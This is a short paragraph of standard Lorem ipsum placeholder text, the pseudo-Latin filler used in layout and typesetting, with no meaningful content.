Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Sed pharetra finibus mauris eu gravida. Phasellus scelerisque malesuada elementum. Duis eget nisl ligula. Proin condimentum metus urna. Quisque accumsan sapien at elementum eleifend. Vivamus consequat euismod justo, sit amet tristique lorem aliquam sodales. Praesent vel urna tincidunt, aliquam purus at, sodales nunc. Nullam tempus suscipit tristique. In hac habitasse platea dictumst. Ut non purus sit amet erat pulvinar imperdiet vel eu ligula. Nullam facilisis posuere orci at semper. Curabitur sed molestie risus. Suspendisse hendrerit felis est, ut mollis urna cursus eget. Vestibulum pellentesque mauris ut tortor luctus aliquet. Nunc lorem elit, tristique id diam a, gravida venenatis massa.